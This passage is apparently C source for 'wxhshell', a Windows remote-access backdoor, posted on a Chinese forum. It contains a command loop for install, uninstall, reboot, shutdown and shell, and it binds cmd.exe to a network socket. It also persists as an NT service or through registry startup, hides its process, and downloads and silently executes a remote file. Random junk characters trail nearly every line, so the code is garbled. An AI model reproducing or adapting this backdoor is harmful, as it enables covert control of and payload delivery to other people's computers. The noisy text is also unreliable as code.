      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T*(mi{[T  
    break; ;j<#VS-]  
  } q[. p(6:  
  // 安装 JM*!(\Y  
  case 'i': { /f=31<+MtF  
    if(Install()) _X{ GZJm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); scE#&OWF%  
    else .[?2_e#9%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I&% Z*H  
    break; ^i@0P}K<  
    } eK\i={va  
  // 卸载 6r h#ATep  
  case 'r': { x-q_sZ^8  
    if(Uninstall()) +7y#c20  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &IG*;$c!  
    else @qF:v]=_@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,"?8  
    break; Q>G% *?  
    } ]KUeSg|  
  // 显示 wxhshell 所在路径 hij 9r z  
  case 'p': { >``  
    char svExeFile[MAX_PATH]; [[ll4|  
    strcpy(svExeFile,"\n\r"); )3 '8T>^<K  
      strcat(svExeFile,ExeFile); jZe/h#J)[  
        send(wsh,svExeFile,strlen(svExeFile),0); yy`XtJBWWs  
    break; {?}^HW9{  
    } q{L-(!uz7_  
  // 重启 6R#igLm  
  case 'b': { GgtYO4,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]r\!Z <<(  
    if(Boot(REBOOT)) '*G8;91u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r( bA>L*mk  
    else { }Am5b@g"$Y  
    closesocket(wsh); 'sa>G  
    ExitThread(0); R)=){SI:1)  
    } /:C<{m.[}  
    break; o"p['m*g  
    } nIfp0U*  
  // 关机 Jpn= ^f[rm  
  case 'd': { j=u) z7J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L=I;0Ip9y  
    if(Boot(SHUTDOWN)) 2~yj =D27Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P<LmCY m  
    else { CFu^i|7o  
    closesocket(wsh); ~sNBklK  
    ExitThread(0); sH%Ts@Pl  
    } wZ_"@j<  
    break; onIZ&wrk  
    } `r %lB  
  // 获取shell _9<Mo;C  
  case 's': { ehZ/J5  
    CmdShell(wsh); vPrlRG6  
    closesocket(wsh); nPjK=o`KR  
    ExitThread(0); @z`eqG,']  
    break; @=BApuer+  
  } qCF&o7*oN  
  // 退出 x+[ATZ([  
  case 'x': { #[Rs&$vQm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rrG}; A  
    CloseIt(wsh); RW<4",  
    break; &<- S-e  
    } UUGX@  
  // 离开 uF[~YJ>  
  case 'q': {  +&<k}Mz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 00yWk_w  
    closesocket(wsh); u>*qDr* d  
    WSACleanup(); ^AoX|R[1%  
    exit(1); eZ 7Atuv  
    break; VKSn \HT~  
        } G[{Av5g mx  
  } >1` '5A}s  
  } zd{sw}  
_.I58r  
  // 提示信息 dt/-0~U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .Y^pDR12  
} &%u m#XE  
  } C)QKodI  
;/)$Cm&e  
  return; _\{/#J;lN  
} f6{.Uq%SGp  
9I''$DVf  
// shell模块句柄 S#Tu/2<}  
int CmdShell(SOCKET sock) ~Q}!4LH  
{ q(v|@l|)yO  
STARTUPINFO si; bEmzigN[  
ZeroMemory(&si,sizeof(si)); 59~mr:*sF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Nd'GA+1;(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JkKbw&65  
PROCESS_INFORMATION ProcessInfo; sj6LrE=1  
char cmdline[]="cmd"; Qkc 9X0J!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q /t_% vb  
  return 0; VH vL:z  
} [p]UM;+  
 pQ7<\8s*  
// 自身启动模式 }nSu7)3$B  
int StartFromService(void) uG-S$n"7K  
{ bgkBgugZhX  
typedef struct :m>Vp  
{ PzustC|  
  DWORD ExitStatus; BnaI30-  
  DWORD PebBaseAddress;  \+:`nz3m  
  DWORD AffinityMask; \ rKUPI\  
  DWORD BasePriority; cg9*+]rc  
  ULONG UniqueProcessId; :SY,;..3e  
  ULONG InheritedFromUniqueProcessId; ^)h&s*  
}   PROCESS_BASIC_INFORMATION; +{#Z^y6&  
KEf1GU6s  
PROCNTQSIP NtQueryInformationProcess; ;j+*}|!  
xc7Rrh]}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XD80]@\za  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9Q\RCl_1  
F)@zo/u5L  
  HANDLE             hProcess; ;Eh"]V,e  
  PROCESS_BASIC_INFORMATION pbi; VKg9^%#b`[  
kYR ^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b;NVvc(  
  if(NULL == hInst ) return 0; fUPYCw6F  
c{qTVi5e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8<@X=Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qxYCT$1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); md|I?vk  
}vg|05L  
  if (!NtQueryInformationProcess) return 0; uO1^nK  
</R@)_'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A$L:,b(  
  if(!hProcess) return 0; bfkFk  
x'SIHV4M@Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yV31OBC:  
_Ih"*~ r/&  
  CloseHandle(hProcess); `'gcF });  
5JhpBx/>o=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '2rSX[$ tf  
if(hProcess==NULL) return 0; uA cvUN-@  
9fO E .  
HMODULE hMod; wB+F/]]|N  
char procName[255]; 3} C-Hg+gt  
unsigned long cbNeeded; ;ULw-&]P  
%Z8pPH~T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v?n# C  
T7l,}G  
  CloseHandle(hProcess); p4kK" \ln  
IoV"t,  
if(strstr(procName,"services")) return 1; // 以服务启动 zvfdfQ-i  
Mgu9m8 `J  
  return 0; // 注册表启动 ;ZkY[5  
} [jEA|rd~}  
qLw^Qxo  
// 主模块 -iFFXESVX  
int StartWxhshell(LPSTR lpCmdLine) *z_`$Y  
{ =5:kV/p  
  SOCKET wsl; 6j|~oMYP  
BOOL val=TRUE; b{X.lz0  
  int port=0; rA @|nL{  
  struct sockaddr_in door; qoW$Iw*q)B  
NGEE'4!i7T  
  if(wscfg.ws_autoins) Install(); n7zM;@{7  
-^8OjGat  
port=atoi(lpCmdLine); = \K/ulZo  
|:u5R%  
if(port<=0) port=wscfg.ws_port; G=C2l# Ae!  
R@`xS<`L/  
  WSADATA data; 4`7~~:W!M5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #G\-ftA&  
Ki%)LQAg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?DnQU"_$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F)19cKx7  
  door.sin_family = AF_INET; v[?gM.SF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9<"F3F0|  
  door.sin_port = htons(port); Urksj:N  
nFro#qx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ucbtPTFYvr  
closesocket(wsl); 8 -w|~y';  
return 1; tA9Ew{3s  
} FRQkD%k  
.mOm@<Xdg  
  if(listen(wsl,2) == INVALID_SOCKET) { TT){15T;"  
closesocket(wsl); qR , 5  
return 1; dkg+_V!  
} @9k3}x K  
  Wxhshell(wsl); h,K&R8S  
  WSACleanup(); pTJ_DH  
)5Cqyp~P  
return 0; ol`q7i.  
&?gcnMg$,J  
} Cq-99@&;  
Eok8+7g0&  
// 以NT服务方式启动 #}8VUbJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =CL,+  
{ psS^  
DWORD   status = 0; $-E<{   
  DWORD   specificError = 0xfffffff; "'>fTk_  
]*0t?'go'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !u`f?=s;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O_5;?$[m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e0#{'_C  
  serviceStatus.dwWin32ExitCode     = 0; @#9xSs#  
  serviceStatus.dwServiceSpecificExitCode = 0; tao9icl*`  
  serviceStatus.dwCheckPoint       = 0; :MH=6  
  serviceStatus.dwWaitHint       = 0; a &`^M  
-7EwZRS@9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 64:p 4N  
  if (hServiceStatusHandle==0) return; 3@<m/%  
TETfRnm  
status = GetLastError(); z3w;W{2Q;V  
  if (status!=NO_ERROR) ;]rj Kc=  
{ c|4_nT 2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q0xQx z  
    serviceStatus.dwCheckPoint       = 0; Z(J 1A x  
    serviceStatus.dwWaitHint       = 0; 8"u.GL.  
    serviceStatus.dwWin32ExitCode     = status; ?w)A`G_  
    serviceStatus.dwServiceSpecificExitCode = specificError; 48!F!v,j)x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]!@!qp@  
    return; J.0&gP V  
  } `"$9L[>  
A~L Ti  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6\)u\m`7-l  
  serviceStatus.dwCheckPoint       = 0; T8j<\0WW  
  serviceStatus.dwWaitHint       = 0; V7+/|P_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^q<EnsY  
} }5X.*wz  
>PGsY[N  
// 处理NT服务事件,比如:启动、停止 T$V8 n_;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mrVN&.  
{ fo I:`]2"*  
switch(fdwControl) ,yi@?lc  
{ Pfm B{  
case SERVICE_CONTROL_STOP: %Wc$S]>i  
  serviceStatus.dwWin32ExitCode = 0; #4Cf-$J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lB|.TCbW  
  serviceStatus.dwCheckPoint   = 0; :[Ie0[H/M  
  serviceStatus.dwWaitHint     = 0; #;"lBqxY`  
  { mUiJ@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (k%r_O6  
  } zK*i:(>B  
  return; D P:}<  
case SERVICE_CONTROL_PAUSE: 4&~*;an7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I*(7(>zgyv  
  break; gER(&L4[  
case SERVICE_CONTROL_CONTINUE: >rFM8P(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ==bT0-M.~  
  break; @_h=,g #@  
case SERVICE_CONTROL_INTERROGATE: v/`#Gu^P  
  break; s1T}hp  
}; F+V[`w*k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "2I{T  
} #Vm)wH3  
R7x*/?  
// 标准应用程序主函数 _cbXzSYq&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D6EqJ,~  
{ AgdU@&^  
ulk yP  
// 获取操作系统版本 o* QZf *M  
OsIsNt=GetOsVer(); P{8<U8E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /(i~Hpp  
S's I[?\x  
  // 从命令行安装 ZXWm?9uw  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4ug4[  
j!a&l  
  // 下载执行文件 dp:5iuS  
if(wscfg.ws_downexe) { {|Fn<&G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  V#+J4   
  WinExec(wscfg.ws_filenam,SW_HIDE); f:9qId ;/M  
} L!2Ef4,wAz  
\(1WLP$2U  
if(!OsIsNt) { cty  
// 如果时win9x,隐藏进程并且设置为注册表启动 dwm>! h  
HideProc(); ` h1>rP  
StartWxhshell(lpCmdLine); =&vRT;6  
} @Lm(bW  
else Uz7V2r%]  
  if(StartFromService()) #YLI"/Kn  
  // 以服务方式启动 x}N1Wl=8g  
  StartServiceCtrlDispatcher(DispatchTable); & )EL%o5  
else a+n?y)u  
  // 普通方式启动 [g: KFbEY  
  StartWxhshell(lpCmdLine); PMiG:bM  
sAP  YQ  
return 0; Ak2Vf0Eb  
}
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只看该作者 1 发表于: 2006-10-10
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